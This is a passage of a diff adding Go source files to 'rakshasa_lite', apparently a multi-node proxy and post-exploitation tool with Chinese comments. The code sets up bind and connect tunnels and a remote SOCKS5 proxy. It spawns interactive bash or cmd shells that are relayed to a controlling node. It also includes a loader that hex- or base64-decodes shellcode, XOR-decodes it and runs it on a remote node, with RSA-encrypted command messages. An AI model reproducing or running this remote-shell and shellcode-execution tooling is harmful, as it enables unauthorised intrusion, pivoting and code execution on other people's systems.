list[i], list[i+1] = list[i+1], list[i]
|
||||||
|
} else if f(list[i+2], list[i+1]) {
|
||||||
|
list[i+1], list[i+2] = list[i+2], list[i+1]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
var step, l, max, r int
|
||||||
|
step = 4
|
||||||
|
for step < max_len {
|
||||||
|
step <<= 1
|
||||||
|
for i := 0; i < max_len; i += step {
|
||||||
|
l, r, max = i, i+step/2, i+step
|
||||||
|
if max > max_len {
|
||||||
|
max = max_len
|
||||||
|
}
|
||||||
|
for index := i; index < max; index++ {
|
||||||
|
if l == step/2+i || (r < max && f(list[r], list[l])) {
|
||||||
|
tmp[index] = list[r]
|
||||||
|
r++
|
||||||
|
} else {
|
||||||
|
tmp[index] = list[l]
|
||||||
|
l++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if step < max_len {
|
||||||
|
for i := 0; i < max_len; i += step {
|
||||||
|
l, r, max = i, i+step/2, i+step
|
||||||
|
if max > max_len {
|
||||||
|
max = max_len
|
||||||
|
}
|
||||||
|
for index := i; index < max; index++ {
|
||||||
|
if l == step/2+i || (r < max && f(tmp[r], tmp[l])) {
|
||||||
|
list[index] = tmp[r]
|
||||||
|
r++
|
||||||
|
} else {
|
||||||
|
list[index] = tmp[l]
|
||||||
|
l++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
copy(list, tmp)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
func orderHttpProxy(list []*httpProxyClient) {
|
||||||
|
f := func(a, b *httpProxyClient) bool {
|
||||||
|
return a.id < b.id
|
||||||
|
}
|
||||||
|
max_len := len(list)
|
||||||
|
tmp := make([]*httpProxyClient, max_len)
|
||||||
|
for i := 0; i < max_len-max_len&1; i += 2 {
|
||||||
|
if f(list[i+1], list[i]) {
|
||||||
|
list[i], list[i+1] = list[i+1], list[i]
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
for i := 0; i < max_len-max_len&3; i += 4 {
|
||||||
|
if f(list[i+2], list[i]) {
|
||||||
|
list[i], list[i+2] = list[i+2], list[i]
|
||||||
|
}
|
||||||
|
if f(list[i+3], list[i+1]) {
|
||||||
|
list[i+1], list[i+3] = list[i+3], list[i+1]
|
||||||
|
}
|
||||||
|
if f(list[i+2], list[i+1]) {
|
||||||
|
list[i+1], list[i+2] = list[i+2], list[i+1]
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
if max_len&3 == 3 {
|
||||||
|
i := max_len - 3
|
||||||
|
if f(list[i+2], list[i]) {
|
||||||
|
list[i+1], list[i+2] = list[i+2], list[i+1]
|
||||||
|
list[i], list[i+1] = list[i+1], list[i]
|
||||||
|
} else if f(list[i+2], list[i+1]) {
|
||||||
|
list[i+1], list[i+2] = list[i+2], list[i+1]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
var step, l, max, r int
|
||||||
|
step = 4
|
||||||
|
for step < max_len {
|
||||||
|
step <<= 1
|
||||||
|
for i := 0; i < max_len; i += step {
|
||||||
|
l, r, max = i, i+step/2, i+step
|
||||||
|
if max > max_len {
|
||||||
|
max = max_len
|
||||||
|
}
|
||||||
|
for index := i; index < max; index++ {
|
||||||
|
if l == step/2+i || (r < max && f(list[r], list[l])) {
|
||||||
|
tmp[index] = list[r]
|
||||||
|
r++
|
||||||
|
} else {
|
||||||
|
tmp[index] = list[l]
|
||||||
|
l++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if step < max_len {
|
||||||
|
for i := 0; i < max_len; i += step {
|
||||||
|
l, r, max = i, i+step/2, i+step
|
||||||
|
if max > max_len {
|
||||||
|
max = max_len
|
||||||
|
}
|
||||||
|
for index := i; index < max; index++ {
|
||||||
|
if l == step/2+i || (r < max && f(tmp[r], tmp[l])) {
|
||||||
|
list[index] = tmp[r]
|
||||||
|
r++
|
||||||
|
} else {
|
||||||
|
list[index] = tmp[l]
|
||||||
|
l++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
copy(list, tmp)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,180 @@
|
|||||||
|
package server
|
||||||
|
|
||||||
|
import (
|
||||||
|
"cert"
|
||||||
|
"encoding/binary"
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"math/rand"
|
||||||
|
"net"
|
||||||
|
"rakshasa_lite/common"
|
||||||
|
"sync"
|
||||||
|
"sync/atomic"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
// clientListenMap = make(map[uint32]*remoteListen)
|
||||||
|
// connectMap = make(map[uint32]*rawConnect)
|
||||||
|
)
|
||||||
|
|
||||||
|
type clientListen struct {
|
||||||
|
id uint32
|
||||||
|
localAddr string
|
||||||
|
remoteAddr string
|
||||||
|
server *node
|
||||||
|
typ string
|
||||||
|
openOption byte
|
||||||
|
openMsg []byte //掉线重连会用到
|
||||||
|
connMap sync.Map //clientListen关闭的时候关掉这里的id
|
||||||
|
listen net.Listener
|
||||||
|
result chan interface{}
|
||||||
|
randkey []byte //随机key int64
|
||||||
|
}
|
||||||
|
|
||||||
|
func StartRawBind(str string, dst []string) error {
|
||||||
|
n, err := GetNodeFromAddrs(dst)
|
||||||
|
if err != nil {
|
||||||
|
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
addrs, err := common.ResolveTCPAddr(str)
|
||||||
|
if err != nil {
|
||||||
|
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if len(addrs) != 2 {
|
||||||
|
return errors.New("参数错误,格式为ip:port,remote_ip:remote_port")
|
||||||
|
}
|
||||||
|
|
||||||
|
l := &clientListen{
|
||||||
|
id: common.GetID(),
|
||||||
|
localAddr: addrs[0],
|
||||||
|
remoteAddr: addrs[1],
|
||||||
|
server: n,
|
||||||
|
typ: "bind",
|
||||||
|
result: make(chan interface{}),
|
||||||
|
openOption: common.CMD_LISTEN,
|
||||||
|
randkey: make([]byte, 8),
|
||||||
|
}
|
||||||
|
binary.LittleEndian.PutUint64(l.randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63()))
|
||||||
|
l.openMsg = cert.RSAEncrypterByPrivByte(append(l.randkey, []byte(addrs[1])...))
|
||||||
|
currentNode.listenMap.Store(l.id, l)
|
||||||
|
n.Write(l.openOption, l.id, l.openMsg)
|
||||||
|
select {
|
||||||
|
case res := <-l.result:
|
||||||
|
|
||||||
|
if err, ok := res.(error); ok {
|
||||||
|
l.Close(remoteClose)
|
||||||
|
currentNode.listenMap.Delete(l.id)
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
case <-time.After(common.CMD_TIMEOUT):
|
||||||
|
l.Close(remoteClose)
|
||||||
|
currentNode.listenMap.Delete(l.id)
|
||||||
|
return fmt.Errorf("listen %s fail time out", addrs[1])
|
||||||
|
|
||||||
|
}
|
||||||
|
fmt.Println("bind 启动成功")
|
||||||
|
//l := clientLock.Lock()
|
||||||
|
|
||||||
|
//clientListenMap[b.id] = b
|
||||||
|
//l.Unlock()
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
func StartRawConnect(str string, n *node) error {
|
||||||
|
addrs, err := common.ResolveTCPAddr(str)
|
||||||
|
if len(addrs) != 2 || err != nil {
|
||||||
|
return errors.New("-connect参数错误,格式为ip:port,remote_ip:remote_port")
|
||||||
|
}
|
||||||
|
|
||||||
|
addr1, _ := net.ResolveTCPAddr("tcp", addrs[1])
|
||||||
|
listen, err := net.Listen("tcp", addrs[0])
|
||||||
|
if err != nil {
|
||||||
|
return errors.New("监听本地端口" + addrs[0] + "失败 " + err.Error())
|
||||||
|
}
|
||||||
|
|
||||||
|
l := &clientListen{
|
||||||
|
id: common.GetID(),
|
||||||
|
localAddr: addrs[0],
|
||||||
|
remoteAddr: addrs[1],
|
||||||
|
listen: listen,
|
||||||
|
server: n,
|
||||||
|
typ: "connect",
|
||||||
|
randkey: make([]byte, 8),
|
||||||
|
}
|
||||||
|
binary.LittleEndian.PutUint64(l.randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63()))
|
||||||
|
currentNode.listenMap.Store(l.id, l)
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
for {
|
||||||
|
conn, err := listen.Accept()
|
||||||
|
if err != nil {
|
||||||
|
if err.(*net.OpError).Err == net.ErrClosed {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
s := &clientConnect{
|
||||||
|
conn: conn,
|
||||||
|
server: n,
|
||||||
|
randkey: l.randkey,
|
||||||
|
}
|
||||||
|
s.OnOpened()
|
||||||
|
if s.connect(common.RAW_TCP, addr1.IP.String(), uint16(addr1.Port)) {
|
||||||
|
go rawHandleLocal(s)
|
||||||
|
} else {
|
||||||
|
s.Close(nodeIsClose)
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
func (l *clientListen) Close(reason string) {
|
||||||
|
l.connMap.Range(func(key, value interface{}) bool {
|
||||||
|
value.(*clientConnect).Close(reason)
|
||||||
|
l.connMap.Delete(key)
|
||||||
|
return true
|
||||||
|
})
|
||||||
|
l.server.listenMap.Delete(l.id)
|
||||||
|
if l.listen != nil {
|
||||||
|
l.listen.Close()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func rawHandleLocal(s *clientConnect) {
|
||||||
|
buf := make([]byte, common.MAX_PLAINTEXT)
|
||||||
|
|
||||||
|
for {
|
||||||
|
n, err := s.conn.Read(buf[8:])
|
||||||
|
if err != nil {
|
||||||
|
|
||||||
|
s.Close(err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
var new_size int64
|
||||||
|
if new_size = int64(common.INIT_WINDOWS_SIZE) - s.windowsSize; new_size > 0 { //扩大窗口
|
||||||
|
atomic.AddInt64(&s.windowsSize, new_size)
|
||||||
|
|
||||||
|
} else {
|
||||||
|
new_size = 0
|
||||||
|
}
|
||||||
|
buf[0] = byte(new_size)
|
||||||
|
buf[1] = byte(new_size >> 8)
|
||||||
|
buf[2] = byte(new_size >> 16)
|
||||||
|
buf[3] = byte(new_size >> 24)
|
||||||
|
buf[4] = byte(new_size >> 32)
|
||||||
|
buf[5] = byte(new_size >> 40)
|
||||||
|
buf[6] = byte(new_size >> 48)
|
||||||
|
buf[7] = byte(new_size >> 56)
|
||||||
|
|
||||||
|
data := make([]byte, 8+n)
|
||||||
|
copy(data, buf)
|
||||||
|
s.server.Write(common.CMD_CONN_MSG, s.id, buf[:8+n])
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,64 @@
|
|||||||
|
package server
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"net"
|
||||||
|
"rakshasa_lite/common"
|
||||||
|
"sync/atomic"
|
||||||
|
)
|
||||||
|
|
||||||
|
func (l *serverListen) Lisen() {
|
||||||
|
|
||||||
|
for {
|
||||||
|
c, err := l.listen.Accept()
|
||||||
|
if err != nil {
|
||||||
|
if err.(*net.OpError).Err == net.ErrClosed {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
conn := &serverConnect{}
|
||||||
|
conn.conn = c
|
||||||
|
conn.address = c.RemoteAddr().String()
|
||||||
|
conn.node = l.node
|
||||||
|
conn.write = make(chan *bytes.Buffer, 64)
|
||||||
|
|
||||||
|
if l.isSocks5 {
|
||||||
|
conn.id = l.id
|
||||||
|
l.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, l.replayid, append(l.randkey, l.socks5Replay...))
|
||||||
|
go conn.handTcpReceive()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
conn.id = l.node.storeConn(conn)
|
||||||
|
|
||||||
|
b := make([]byte, 4)
|
||||||
|
b[0] = byte(conn.id)
|
||||||
|
b[1] = byte(conn.id >> 8)
|
||||||
|
b[2] = byte(conn.id >> 16)
|
||||||
|
b[3] = byte(conn.id >> 24)
|
||||||
|
conn.node.Write(common.CMD_CONNECT_BYID, l.id, append(l.randkey, b...))
|
||||||
|
l.connMap.Store(conn.id, conn)
|
||||||
|
go conn.handTcpReceive()
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
func (l *serverListen) Close(reason string) {
|
||||||
|
if atomic.CompareAndSwapInt32(&l.close, 0, 1) {
|
||||||
|
if l.listen != nil {
|
||||||
|
l.listen.Close()
|
||||||
|
}
|
||||||
|
l.connMap.Range(func(key, value interface{}) bool {
|
||||||
|
if reason != remoteClose {
|
||||||
|
l.node.Write(common.CMD_DELETE_CONNID, value.(*serverConnect).id, nil)
|
||||||
|
}
|
||||||
|
l.connMap.Delete(key)
|
||||||
|
return true
|
||||||
|
})
|
||||||
|
if reason != remoteClose {
|
||||||
|
|
||||||
|
l.node.Write(common.CMD_DELETE_LISTEN, l.id, l.randkey)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,40 @@
|
|||||||
|
package server
|
||||||
|
|
||||||
|
import (
|
||||||
|
"cert"
|
||||||
|
"encoding/binary"
|
||||||
|
"errors"
|
||||||
|
"math/rand"
|
||||||
|
"rakshasa_lite/common"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
func StartRemoteSocks5(cfg *common.Addr, n *node) error {
|
||||||
|
|
||||||
|
l := &clientListen{
|
||||||
|
id: common.GetID(),
|
||||||
|
localAddr: "",
|
||||||
|
remoteAddr: cfg.Addr(),
|
||||||
|
server: n,
|
||||||
|
typ: "socks5",
|
||||||
|
result: make(chan interface{}),
|
||||||
|
randkey: make([]byte, 8),
|
||||||
|
}
|
||||||
|
binary.LittleEndian.PutUint64(l.randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63()))
|
||||||
|
l.openOption = common.CMD_REMOTE_SOCKS5
|
||||||
|
l.openMsg = cert.RSAEncrypterByPrivByte(append(l.randkey, cfg.String()...))
|
||||||
|
n.Write(l.openOption, l.id, l.openMsg)
|
||||||
|
currentNode.listenMap.Store(l.id, l)
|
||||||
|
select {
|
||||||
|
case res := <-l.result:
|
||||||
|
if err, ok := res.(error); ok {
|
||||||
|
l.Close(remoteClose)
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
case <-time.After(common.CMD_TIMEOUT):
|
||||||
|
l.Close(remoteClose)
|
||||||
|
return errors.New("time out")
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,98 @@
|
|||||||
|
package server
|
||||||
|
|
||||||
|
/*
|
||||||
|
*高级shell功能
|
||||||
|
*node节点管理、remoteShell远程shell,config配置管理
|
||||||
|
*/
|
||||||
|
import (
|
||||||
|
"github.com/creack/pty"
|
||||||
|
"io"
|
||||||
|
"os/exec"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
shellMapLock sync.Mutex
|
||||||
|
)
|
||||||
|
|
||||||
|
type StartCmdParam struct {
|
||||||
|
Param string
|
||||||
|
Size *pty.Winsize
|
||||||
|
}
|
||||||
|
type remoteCmd struct {
|
||||||
|
cmdStatus int32
|
||||||
|
cmd *exec.Cmd
|
||||||
|
id uint32
|
||||||
|
stdin io.WriteCloser
|
||||||
|
inChan chan []byte
|
||||||
|
translate func(in []byte) ([]byte, error)
|
||||||
|
ping, pong int64
|
||||||
|
}
|
||||||
|
|
||||||
|
func getRealPath(path string) string {
|
||||||
|
|
||||||
|
path_s := strings.Split(path, "/")
|
||||||
|
realpath := []string{}
|
||||||
|
if len(path_s) == 0 {
|
||||||
|
return "error"
|
||||||
|
}
|
||||||
|
for _, value := range path_s {
|
||||||
|
|
||||||
|
if value == ".." {
|
||||||
|
k := len(realpath)
|
||||||
|
kk := k - 1
|
||||||
|
realpath = append(realpath[:kk], realpath[k:]...)
|
||||||
|
} else {
|
||||||
|
realpath = append(realpath, value)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return strings.Join(realpath, "/")
|
||||||
|
}
|
||||||
|
|
||||||
|
func getNode(arg string) (*node, error) {
|
||||||
|
l := clientLock.RLock()
|
||||||
|
|
||||||
|
id, err := strconv.Atoi(arg)
|
||||||
|
|
||||||
|
if err == nil {
|
||||||
|
for _, n := range nodeMap {
|
||||||
|
if n.id == id && n.uuid != currentNode.uuid {
|
||||||
|
l.RUnlock()
|
||||||
|
return n, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
if v, ok := nodeMap[arg]; ok && v.uuid != currentNode.uuid {
|
||||||
|
l.RUnlock()
|
||||||
|
return v, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
l.RUnlock()
|
||||||
|
|
||||||
|
return connectNew(arg)
|
||||||
|
}
|
||||||
|
func getNodeWithCurrentNode(arg string) (*node, error) {
|
||||||
|
l := clientLock.RLock()
|
||||||
|
|
||||||
|
id, err := strconv.Atoi(arg)
|
||||||
|
|
||||||
|
if err == nil {
|
||||||
|
for _, n := range nodeMap {
|
||||||
|
if n.id == id {
|
||||||
|
l.RUnlock()
|
||||||
|
return n, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
if v, ok := nodeMap[arg]; ok {
|
||||||
|
l.RUnlock()
|
||||||
|
return v, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
l.RUnlock()
|
||||||
|
|
||||||
|
return connectNew(arg)
|
||||||
|
}
|
||||||
@@ -0,0 +1,100 @@
|
|||||||
|
//go:build linux || darwin
|
||||||
|
// +build linux darwin
|
||||||
|
|
||||||
|
package server
|
||||||
|
|
||||||
|
import (
|
||||||
|
"errors"
|
||||||
|
"io"
|
||||||
|
"os/exec"
|
||||||
|
"rakshasa_lite/common"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/creack/pty"
|
||||||
|
)
|
||||||
|
|
||||||
|
func startCMD(n *node, msgid uint32, param StartCmdParam) error {
|
||||||
|
if param.Param == "" {
|
||||||
|
param.Param = "/bin/bash"
|
||||||
|
}
|
||||||
|
shellMapLock.Lock()
|
||||||
|
defer func() {
|
||||||
|
shellMapLock.Unlock()
|
||||||
|
}()
|
||||||
|
|
||||||
|
cmd := &remoteCmd{
|
||||||
|
id: common.GetID(),
|
||||||
|
inChan: make(chan []byte),
|
||||||
|
|
||||||
|
translate: func(in []byte) ([]byte, error) { return in, nil },
|
||||||
|
pong: time.Now().Unix(),
|
||||||
|
}
|
||||||
|
|
||||||
|
cmd.cmd = exec.Command(param.Param)
|
||||||
|
f, err := pty.StartWithSize(cmd.cmd, param.Size)
|
||||||
|
if err != nil {
|
||||||
|
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
cmd.stdin = f
|
||||||
|
outErr := make(chan error, 999)
|
||||||
|
|
||||||
|
n.shellMap.Store(cmd.id, cmd)
|
||||||
|
|
||||||
|
go func(cmd *remoteCmd) {
|
||||||
|
defer func() {
|
||||||
|
n.shellMap.Delete(cmd.id)
|
||||||
|
f.Close()
|
||||||
|
cmd.stdin.Close()
|
||||||
|
}()
|
||||||
|
errChan := make(chan error, 999)
|
||||||
|
go func() {
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case b := <-cmd.inChan:
|
||||||
|
if len(b) == 0 { //ping数据包
|
||||||
|
|
||||||
|
n.Write(common.CMD_SHELL_DATA, cmd.id, nil) //pong
|
||||||
|
} else {
|
||||||
|
|
||||||
|
_, err = cmd.stdin.Write(b)
|
||||||
|
if err != nil {
|
||||||
|
errChan <- err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
case err = <-errChan:
|
||||||
|
|
||||||
|
cmd.cmd.Process.Kill()
|
||||||
|
case err = <-outErr:
|
||||||
|
n.Write(common.CMD_SHELL_RESULT, msgid, append([]byte{0}, err.Error()...))
|
||||||
|
cmd.cmd.Process.Kill()
|
||||||
|
return
|
||||||
|
case <-time.After(common.CMD_TIMEOUT): //避免超时
|
||||||
|
cmd.cmd.Process.Kill()
|
||||||
|
return
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
go func() {
|
||||||
|
buf := make([]byte, common.MAX_PLAINTEXT)
|
||||||
|
for {
|
||||||
|
num, err2 := f.Read(buf)
|
||||||
|
if err2 != nil || io.EOF == err2 {
|
||||||
|
outErr <- errors.New("退出shell")
|
||||||
|
break
|
||||||
|
}
|
||||||
|
|
||||||
|
n.Write(common.CMD_SHELL_DATA, cmd.id, buf[:num])
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}()
|
||||||
|
|
||||||
|
cmd.cmd.Wait()
|
||||||
|
}(cmd)
|
||||||
|
n.Write(common.CMD_SHELL_RESULT, msgid, []byte{1, byte(cmd.id), byte(cmd.id >> 8), byte(cmd.id >> 16), byte(cmd.id >> 24), 1})
|
||||||
|
return nil
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,134 @@
|
|||||||
|
//go:build windows
|
||||||
|
// +build windows
|
||||||
|
|
||||||
|
package server
|
||||||
|
|
||||||
|
import (
|
||||||
|
"errors"
|
||||||
|
"io"
|
||||||
|
"rakshasa_lite/common"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"os/exec"
|
||||||
|
)
|
||||||
|
|
||||||
|
func startCMD(n *node, msgid uint32, param StartCmdParam) error {
|
||||||
|
if param.Param == "" {
|
||||||
|
param.Param = "cmd"
|
||||||
|
}
|
||||||
|
shellMapLock.Lock()
|
||||||
|
defer func() {
|
||||||
|
|
||||||
|
shellMapLock.Unlock()
|
||||||
|
}()
|
||||||
|
|
||||||
|
cmd := &remoteCmd{
|
||||||
|
id: common.GetID(),
|
||||||
|
inChan: make(chan []byte),
|
||||||
|
translate: func(in []byte) ([]byte, error) { return in, nil },
|
||||||
|
pong: time.Now().Unix(),
|
||||||
|
}
|
||||||
|
|
||||||
|
c := exec.Command("chcp")
|
||||||
|
res, err := c.Output()
|
||||||
|
if err != nil {
|
||||||
|
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
cmd.cmd = exec.Command(param.Param)
|
||||||
|
|
||||||
|
stdout, err := cmd.cmd.StdoutPipe()
|
||||||
|
if err != nil {
|
||||||
|
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
cmd.stdin, err = cmd.cmd.StdinPipe()
|
||||||
|
if err != nil {
|
||||||
|
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
stderr, err := cmd.cmd.StderrPipe()
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
err = cmd.cmd.Start()
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
outErr := make(chan error, 999)
|
||||||
|
n.shellMap.Store(cmd.id, cmd)
|
||||||
|
|
||||||
|
go func(cmd *remoteCmd) {
|
||||||
|
defer func() {
|
||||||
|
n.shellMap.Delete(cmd.id)
|
||||||
|
stdout.Close()
|
||||||
|
cmd.stdin.Close()
|
||||||
|
cmd.cmd.Process.Kill()
|
||||||
|
}()
|
||||||
|
var errchan = make(chan error, 10)
|
||||||
|
go func() {
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case b := <-cmd.inChan:
|
||||||
|
if len(b) == 0 { //ping数据包
|
||||||
|
n.Write(common.CMD_SHELL_DATA, cmd.id, nil) //pong
|
||||||
|
} else {
|
||||||
|
_, err = cmd.stdin.Write(b)
|
||||||
|
if err != nil {
|
||||||
|
errchan <- err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
case err = <-errchan:
|
||||||
|
|
||||||
|
cmd.cmd.Process.Kill()
|
||||||
|
case err = <-outErr:
|
||||||
|
n.Write(common.CMD_SHELL_RESULT, msgid, append([]byte{0}, err.Error()...))
|
||||||
|
cmd.cmd.Process.Kill()
|
||||||
|
return
|
||||||
|
case <-time.After(common.CMD_TIMEOUT): //避免超时
|
||||||
|
|
||||||
|
cmd.cmd.Process.Kill()
|
||||||
|
return
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
go func() {
|
||||||
|
|
||||||
|
buf := make([]byte, common.MAX_PLAINTEXT)
|
||||||
|
for {
|
||||||
|
num, err2 := stdout.Read(buf)
|
||||||
|
if err2 != nil || io.EOF == err2 {
|
||||||
|
outErr <- errors.New("退出shell")
|
||||||
|
|
||||||
|
break
|
||||||
|
}
|
||||||
|
|
||||||
|
n.Write(common.CMD_SHELL_DATA, cmd.id, buf[:num])
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}()
|
||||||
|
go func() {
|
||||||
|
buf := make([]byte, 1024)
|
||||||
|
for {
|
||||||
|
num, err2 := stderr.Read(buf)
|
||||||
|
if err2 != nil || io.EOF == err2 {
|
||||||
|
|
||||||
|
break
|
||||||
|
}
|
||||||
|
n.Write(common.CMD_SHELL_DATA, cmd.id, buf[:num])
|
||||||
|
//output, _ := libraries.GbkToUtf8(buf[:n])
|
||||||
|
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
cmd.cmd.Wait()
|
||||||
|
}(cmd)
|
||||||
|
|
||||||
|
n.Write(common.CMD_SHELL_RESULT, msgid, append([]byte{1, byte(cmd.id), byte(cmd.id >> 8), byte(cmd.id >> 16), byte(cmd.id >> 24), 0}, res...))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,110 @@
|
|||||||
|
package server
|
||||||
|
|
||||||
|
import (
|
||||||
|
"cert"
|
||||||
|
"encoding/base64"
|
||||||
|
"encoding/hex"
|
||||||
|
"encoding/json"
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"io/ioutil"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
"rakshasa_lite/common"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
type ShellCodeStruct struct {
|
||||||
|
Str string
|
||||||
|
Key string
|
||||||
|
Param string
|
||||||
|
TimeOut int //second
|
||||||
|
}
|
||||||
|
|
||||||
|
func RunShellcodeWithDst(dst, shellcode, xorKey, param string, timeout int) error {
|
||||||
|
|
||||||
|
if dst != "" {
|
||||||
|
n, err := getNodeWithCurrentNode(dst)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("无法链接节点%s,错误%v", dst, err)
|
||||||
|
}
|
||||||
|
s := ShellCodeStruct{
|
||||||
|
Str: shellcode,
|
||||||
|
Key: xorKey,
|
||||||
|
Param: param,
|
||||||
|
TimeOut: timeout,
|
||||||
|
}
|
||||||
|
if n.uuid == currentNode.uuid {
|
||||||
|
return doShellcode(s)
|
||||||
|
}
|
||||||
|
res := make(chan interface{}, 1)
|
||||||
|
id := n.storeQuery(res)
|
||||||
|
|
||||||
|
b, _ := json.Marshal(s)
|
||||||
|
n.Write(common.CMD_RUN_SHELLCODE, id, cert.RSAEncrypterByPrivByte(b))
|
||||||
|
select {
|
||||||
|
case v := <-res:
|
||||||
|
fmt.Println("运行结果\n", v)
|
||||||
|
case <-time.After(time.Second * time.Duration(timeout) * 2):
|
||||||
|
fmt.Println("运行超时无结果")
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
|
||||||
|
b, err := ioutil.ReadFile(shellcode)
|
||||||
|
if err != nil {
|
||||||
|
return currentNodeRunShellcode(shellcode, xorKey, param)
|
||||||
|
} else {
|
||||||
|
return currentNodeRunShellcode(string(b), xorKey, param)
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
func currentNodeRunShellcode(shellcode, xorKey, param string) error {
|
||||||
|
|
||||||
|
common.ChangeArg(param)
|
||||||
|
b, err := hex.DecodeString(shellcode)
|
||||||
|
|
||||||
|
if err != nil {
|
||||||
|
b, err = base64.RawStdEncoding.DecodeString(shellcode)
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
b = []byte(shellcode)
|
||||||
|
//fmt.Println(err)
|
||||||
|
//return errors.New("shellcode hex/base64 解码失败")
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(xorKey) > 0 {
|
||||||
|
for i := 0; i < len(b); i++ {
|
||||||
|
k := i % (len(xorKey))
|
||||||
|
b[i] = b[i] ^ xorKey[k]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
shellcodeRun(b)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func doShellcode(s ShellCodeStruct) error {
|
||||||
|
|
||||||
|
path, _ := os.Executable()
|
||||||
|
_, exeName := filepath.Split(path)
|
||||||
|
|
||||||
|
cmd := exec.Command("./"+exeName, "-shellcode", s.Str, "-sXor", s.Key, "-sParam", s.Param)
|
||||||
|
reschan := make(chan string, 2)
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
r, _ := cmd.CombinedOutput()
|
||||||
|
|
||||||
|
reschan <- string(r)
|
||||||
|
|
||||||
|
}()
|
||||||
|
select {
|
||||||
|
case res := <-reschan:
|
||||||
|
return errors.New(res)
|
||||||
|
case <-time.After(time.Second * (time.Duration(s.TimeOut))):
|
||||||
|
return errors.New("已执行,等待超时")
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
package server
|
||||||
|
|
||||||
|
import "errors"
|
||||||
|
|
||||||
|
func shellcodeRun(b []byte) error {
|
||||||
|
return errors.New("linux暂不支持")
|
||||||
|
}
|
||||||
